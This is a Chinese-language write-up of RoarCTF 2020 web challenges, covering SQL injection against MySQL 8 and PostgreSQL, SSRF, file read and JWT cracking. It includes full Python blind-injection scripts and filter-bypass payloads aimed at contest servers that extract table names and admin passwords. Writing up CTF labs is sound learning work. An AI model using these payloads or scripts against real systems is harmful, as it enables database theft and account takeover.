0%

[RoarCTF2020]wp

[RoarCTF2020]wp

Y1ng是嘶吼的出题人之一,很久以前就在buu群里说这次嘶吼请你吃SQL注入大礼包,我算是吃饱了
虽然我都不会做,但是我吃到了超级SQL注入大礼包,注吐了,不过还是学到一点点东西,以及我是SQL注入废物

签到

ssrf,先看源码正则匹配过滤flag,但是curl存在二次编码的问题,直接file协议加二次编码绕过读flag

ezsql

测了一下发现username处可以注入,password处注不动,username是admin就会出password error,否则就username error
ban了空格和select,空格可以用/**/直接绕

盲注跑password

因为username和password看到在同一张表下,不用select也可以盲注一下password
username=a'/**/or/**/substr(password,{},1)='{}'#
这里踩了几个坑,第一个是等号后面一开始没用引号。。。。字符串和0比较均为true,导致注入结果奇奇怪怪的,第二个是substr要从1开始,从0会选出一位奇奇怪怪的东西

不过由于concat是把符合条件的所有列给选出来,所有如果用户表里面存在多个用户的话,上面的盲注可能会导致把别的用户的密码当做admin密码,所以需要再加一个限制条件(这个题就这一个用户,所以就上面这个注入也能注出来)

这也是第三个坑,concat和group_concat存在一定的区别,本地测试的时候可以select substr(group_concat(password),1,1) from users;这样子是把整个password表用逗号连接起来,而select substr(concat(password),1,1) from users;则是选出了password表每一列的第一个字母,而把payload改成注入格式的select * from users where username='1' or substr(concat(password),1,1)='a';后,group_concat会直接报错,concat还能用

使用如下payload能指定只注admin的password
select * from users where username='1' or substr(concat(username,',', password),1,{})='{}'

最终跑出来密码是个md5,这也解释了为什么password注不了,放到cmd5里面解密一下,gml666,登录
Login success,No flag
浪费我感情

堆叠注入

师傅和我说是堆叠注入,把常见的堆叠语句都ban了
prepare execute handler select update insert drop show
反正就是一无所有

先回顾一下堆叠
堆叠之前学过的操作就是用set定义一个字符串变量,而字符串变量可以用concat来绕过过滤,再用prepare对字符串进行预处理变成一个statement,execute执行字符串

handler是MySQL独有的语句,代替select的,功能就是打开一个表,然后返回一个句柄,一行一行读

handler table_name open;
handler table_name read first;
handler table_name reand next;

然而他们都没了
吃了个午饭,分号突然也没了???还带临时改题的???

MySQL8新操作

最后还是看MySQL8的全新操作,table语句和value语句
按着这个大哥的做法来做
利用MySQL8新特性绕过select过滤

先用上面的盲注可以把db整出来,就叫ctf
mysql的查询结果似乎是通过字母顺序排的
而ctf这个数据库名开头是c,系统库没有开头是ab的,所以可以使用order by table_schema直接将其排序到第一(以前我一直不知道table_schema存的就是数据库名,虽然有时候有table_schema=database()这样的语句但是没仔细想过。。。。)
所以TABLE/**/information_schema.tables/**/order/**/by/**/table_schema/**/limit/**/0,1就能取得ctf库的所有信息了
本地看一下information_schema.tables都有哪些列show columns from information_schema.tables;

+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+

共21列,看了一眼本地库的第一项TABLE_CATALOG都是def,而第二项就是库名,第三项就是表名,因此很好构造出一个元组

获取表名

利用上面大哥链接的对比方法,构造出语句
('def','ctf','{}','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'')<=(TABLE/**/information_schema.tables/**/order/**/by/**/table_schema/**/limit/**/0,1)
就算order by整出来不是第一个,我就强行遍历limit数据库名能对应ctf应该也没问题吧

记得匹配的时候要-1,忘了这个试了半天不知道什么情况(具体见文末脚本)
跑出来一个表admin,显然是一开始盲注的时候用户名密码那个表

跑第二个表
一开始按ascii码顺序遍历,出现了一堆奇怪的字符导致错误。。。最后按ascii码顺序手打了一个字符集跑出来flag表名为f11114g

元组对比获取列数

这个元组比较的做法有一个好处,不需要列名了,直接比较就能打,并且能通过比对项目来判断列数
手测列数
a'||('','')<=(TABLE/**/f11114g/**/limit/**/0,1))#
两列直接出username error,所以就一列,列数不一致直接报错

mysql> select ('')<('1'); 1 +------------+ | ('')<('1') row in set (0.00 sec) mysql> select ('')<('1',''); 1 1241 error (21000): operand should contain column(s) mysql> select ('','')<('1',''); 1 +------------------+ | ('','')<('1','') row in set (0.00 sec) mysql> select ('','','')<('1',''); 3 1241 error (21000): operand should contain column(s) < code>

也可以如法炮制的获取列名
a'||(('def','ctf','f11114g','z',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,0,0)<=(TABLE/**/information_schema.columns/**/order/**/by/**/table_schema/**/limit/**/3,1))#同样需要本地获取一下columns的列数,一开始用的本地mysql5.6的远古环境,得到的列数是19,怎么整都整不对,最后临时拉了一个mysql8.0的docker,发现8.0里面是22列。。。得到f11114g的列就一个,为f1lllaggf
但是在用table语句的情况下,这个列名也没锤子用,不需要知道列名,就把f11114g改成f11114gg,再把limit加个1,发现又变成username error就知道只有一列了

获取flag

a'||(('{}')<=binary(TABLE/**/f11114g/**/limit/**/1,1))#
第一个是个假flag,第二个是真的,记得用binary区分大小写
然后字符集还得改一下,因为要往前退一位,所以得加点东西,脚本如下

注入脚本

import requests

url = "http://139.129.98.9:30003/login.php"
payload = ""
charset = "-.0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_`abcdefghijklmnopqrstuvwxyz{|}~"

table_name = ""

for n in range(0, 50):
    for i in charset:
        payload = "a'||(('{}')<=binary(TABLE/**/f11114g/**/limit/**/1,1))#".format(table_name+i)
        data = {"username": payload, "password": "1"}
        print(data)
        r = requests.post(url, data)
        if "username" in r.text:
            # print(r.text)
            print(i)
            table_name += chr(ord(i)-1)
            break
print(table_name)

拿到flag

我是SQL注入垃圾呜呜呜

你能登陆成功吗

SQL注入大礼包,我服了,是没见过的postgreSQL,配合express写的,还是没学过的整数溢出注入
开局给的hintlet PostgreSQL = `SELECT * FROM users WHERE username= '${username}' AND password= '${password}'`
用户名限制死了admin,在password处注入,会回显注入语句,但是没闭合引号就不会回显语句,约等于语句出错不回显语句
万能密码登录失败,不知道为什么
开始学习整数溢出注入

整数溢出注入

也分两种,一种是基于报错回显的整数溢出注入,另一种就是盲注
报错回显的如下所示

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> select ~0+!(select*from(select user())x); 
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

似乎mysql大于5.5.5才能用,本地5.5.53测试的时候就不行(虽然我感觉这个版本号好像比5.5.5大),不过报错还是会报,然后换了昨天的mysql8,也不行,前几步都一致,最后报错这步带不出数据

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (0 = (select `x`.`user()` from (select user() AS `user()`) `x`)))'

不过总归报错还报得出来的,虽然今天这个题不是MySQL,但是还是能就基于报错时无回显语句进行一个整数溢出盲注,学习一下语法

学习完毕,好像这个操作也没什么新颖的,就和普通的bool盲注没什么区别,这里选择它是因为回显只有报错和不报错两种

payload基本框架构造

不过需要使用postgresql的语句进行注入,先上官方文档查一下,查出来它的最大整数为9223372036854775807,开始构造语句

password=1'/**/or/**/select(9223372036854775807+(条件)=1)--/**/

postgresql的if是这么写的

CASE WHEN condition THEN result
     [WHEN ...]
     [ELSE result]
END

所以条件那写一个case/**/when/**/()/**/then(0)else(1)end
在when里面做最终判断就行了
then 0 else 1要优于then 1 else 0
因为选择前者,当你执行结果为真的时候不会报错,执行为假或语句有误的时候产生报错,后者则会导致不知道是执行结果为真还是语句写错了导致了报错

数据库存在判断

没有太多的过滤内容,就按照postgresql的正常注入顺序就可以了
(select/**/count(*)/**/from/**/pg_stat_user_tables)/**/between/**/1/**/and/**/1
判断这个表是不是存在,一般来说是用来确认数据库类型的,不过这里给出了数据库类型

pg_stat_user_tables和mysql的information_schema比较类似(我也不清楚)

获取表名

再用realname来查询表名

(select/**/ascii(substr(relname,1,1))/**/from/**/pg_stat_user_tables/**/limit/**/1/**/OFFSET/**/0)between/**/32/**/and/**/127
还要自己写二分。。。太致命了

翻到了以前写的二分脚本,修修补补就能用,爽死了

import requests

url = "http://139.129.98.9:30005/"
result = ""
for i in range(10):
    p = 0
    q = 256
    while True:
        m = (p + q) // 2
        payload = "1'or(select(9223372036854775807+(case/**/when/**/(" \
                  "(select/**/ascii(substr(relname,{},1))/**/from/**/pg_stat_user_tables/**/limit/**/1/**/OFFSET/**/0)between/**/{}/**/and/**/127" \
                  ")/**/then(0)else(1)end))=1)--/**/".format(str(i), str(m))
        print(m)
        data = {"username": "admin", "password": payload}
        r = requests.post(url, data)
        if "9223372036854775807" in r.text:  # 条件中结果为真
            p = m
        else:
            q = m
        if p + 1 == q:
            result += chr(p)
            break
print(result)

表名users,提示里也有,我就走个流程

获取列名

获取列名,用的居然是information_schema,和MySQL一个操作
(select/**/ascii(substr(column_name,{},1))/**/from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/1/**/OFFSET/**/0)between/**/{}/**/and/**/127
列名是id,username,password,提示里也有。。

查字段

(select/**/ascii(substr(password,{},1))/**/from/**/users/**/where/**/username='admin'/**/limit/**/1/**/OFFSET/**/0)between/**/{}/**/and/**/127
跑出来 Pg5QL1sF4ns1N4T1n9
抽象大师,我大概看懂了说的是pgsql is fansinating
登录获取flag

你能登陆成功吗-Revenge

。就是基于不报错的时候会回显语句这个操作的整数溢出注入是非预期。。。实际上是一个时间盲注,没加过滤,就是无论语句咋样最后都不返回查询语句了
postgresql的where和MySQL的不一样,MySQL直接where id=1 or sleep(5)是跑得起来的,而postgresql的where后面必须得是个bool表达式,而其sleep函数pg_sleep()的返回值是void,不行

抄了一个payload,外面多套一层strpos,然后在if语句里面sleep,strpos返回一个bool值即可,通过延时来判断
https://answer-id.com/zh/51434394 九年前的远古操作了
稍微改一下payload

import requests
import time

url = "http://139.129.98.9:30007/"
result = ""
for i in range(20):
    # 二分查找提高效率
    p = 0
    q = 256
    while True:
        m = (p + q) // 2
        payload = "1'or(strpos((select/**/case/**/when/**/(" \
                  "(select/**/ascii(substr(password,{},1))/**/from/**/users/**/where/**/username='admin'/**/limit/**/1/**/OFFSET/**/0)between/**/{}/**/and/**/127" \
                  ")/**/then(pg_sleep(3))else(pg_sleep(0))end)::text,'1')=0)--/**/".format(str(i), str(m))
        # print(m)
        data = {"username": "admin", "password": payload}
        start = time.time()
        r = requests.post(url, data)
        end = time.time()
        print(r.text)
        if end-start > 2:  # 条件中结果为真
            p = m
        else:
            q = m
        if p + 1 == q:
            result += chr(p)
            break
print(result)

数据库结构肯定没变,直接梭最后的密码,不然时间盲注还等你慢慢注注老了
这把的密码变成了S0rryF0Rm1st4ke111
sorry for mistake

这个解算是非预期,虽然也是很正常的操作吧。。。因为把pg_sleep()强制转到文本了然后作比较就能返回bool,看Y1ng的意思应该是在then里面不直接写pg_sleep,而是再来一层(select 123 from pg_sleep(5)),这种语句是可以的,并且返回数字123

我又学会一点东西呜呜

badhack

看了一眼,说是个web题,其实是个RE,变量命名都是寄存器,然后一通移位异或各种操作,真当我没见过RE爷爷做题的时候什么样子吗,直接进行一个跳过
今天RE爷爷都咕了呜呜

HTML在线代码编辑器

express写的,功能就是在线运行HTML代码,view路由有一个file参数可以看文件
参数前面拼接了目录,..出现就被ban,感觉也没机会目录穿越啊,没时间了,结束了

看了wp,有点被搞的感觉,view路由支持post和get两种方法,get方法过滤了..,但是post没有,就可以任意文件读取了??????
虽然说这个点是通过看前端发现有POST方式访问的,但是get post两种方式不同过滤可真是小天才
get的过滤

if (req.session.is_login !== 1 || !req.query.file || typeof req.query.file !== 'string' || req.query.file.indexOf('..') !== -1)

post的过滤

        if (req.session.is_login !== 1
            || !req.body.file
            || typeof req.body.file !== 'string'
            || req.body.file.indexOf('proc') !== -1
            || req.body.file.indexOf('environ') !== -1
            || !req.body.time
            ||  ( Math.abs(Math.ceil(new Date().getTime() / 1000) - req.body.time) >= 4)) {

真是小天才

然后是一个SSTI,js的SSTI不会整
等buu上题之后再去复现吧

快乐圣诞cei叮壳

这个题看了好久,源码超级长,最后还有一步注入,吐了,但是在注入前的一段就已经卡住了,不会做了

    if (!req.body || typeof req.body !== 'object') {
        res.redirect("/")
        return
    }

    player = {
        name: "player",
        award: "Turkey",
        want_to_eat: "1",
    }

    req.session.name = "player"
    req.session.award = "Turkey"
    req.session.want_to_eat = "1"

    let tempPlayer = req.body

    for (let i in tempPlayer) {
        if (player[i]) {
            if ((i === "name" && typeof tempPlayer[i] != 'string') || i === "award" || (i === "want_to_eat" && !want_to_eat.includes(tempPlayer[i]))) {
                player = {}
                res.end("?")
                return;
            }

            player[i] = tempPlayer[i]

            if (i === "want_to_eat") {
                switch (tempPlayer[i]) {
                    case "1" :
                        player.award = "Turkey";
                        break;
                    case "2" :
                        player.award = "Goose";
                        break;
                    case "3" :
                        player.award = "Buchedenoel";
                        break;
                    case "4" :
                        player.award = "Corn porridge";
                        break;
                }
            }
        }
    }

    const token = jwt.sign(
        {
            id: player.want_to_eat,
            is_win: "false"
        }, env.parsed.rockyou, {
            expiresIn: 3600 * 12
        }
    )
    res.cookie("token", token, {
        maxAge: 3600 * 12,
        httpOnly: true
    });

要是能控制player的want_to_eat就好了
卡死了,不会

比赛结束了,不出我所料这个题是y1ng出的,这里没法控制want_to_eat,直接进行一个rockyou字典的爆破,说是说这个变量名叫rockyou提示的是这个字典,但是我不知道有这个字典啊。。。。感觉就硬多整一环,结果成了个脑洞

由于player处没有win这个属性,可以进行一个类似原型链污染的操作,通过直接修改单个对象的原型增加属性,可以硬加一个win属性上去,但是want_to_eat绝对无法控制,需要用它给的这个字典爆破jwt的secret,最后到一步SQL注入。。。

感觉这个题思路并不好,三个点难度都不大,没有特别惊艳的利用,就是简单堆叠套娃,然后这步爆破提示也给的有点诡异,就好端端的突然变成脑洞题卡住一堆人
研究字典怎么用去了

wp

y1ng师傅的wp
https://www.gem-love.com/ctf/2702.html